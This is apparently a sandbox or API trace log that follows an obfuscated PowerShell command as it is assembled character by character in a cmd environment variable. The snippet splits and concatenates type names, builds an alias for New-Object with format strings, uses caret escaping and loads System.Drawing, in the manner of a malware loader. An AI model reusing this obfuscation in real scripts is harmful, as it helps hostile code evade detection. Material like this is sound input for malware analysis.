Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0 True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0} True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2 True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2} True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1 True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1} True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" - True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'N True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'Ne True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New', True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New',' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','c True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct', True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct',' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','- True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-O True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Ob True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obj True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje') True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje'); True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^& True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&( True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&(" True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0 True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0} True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1 True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1} True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}" True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"- True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f ' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'A True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Ad True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add- True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T', True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T',' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','y True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','yp True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') - True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -A True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -As True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -Ass True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -Asse True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -Assem True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -Assemb True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -Assembl True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -Assembly True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyN True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyNa True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyNam True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName " True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "S True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "Sy True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "Sys True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "Syst True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "Syste True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System. True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.D True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Dr True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Dra True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Draw True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawi True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawin True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing" True 1
Fn
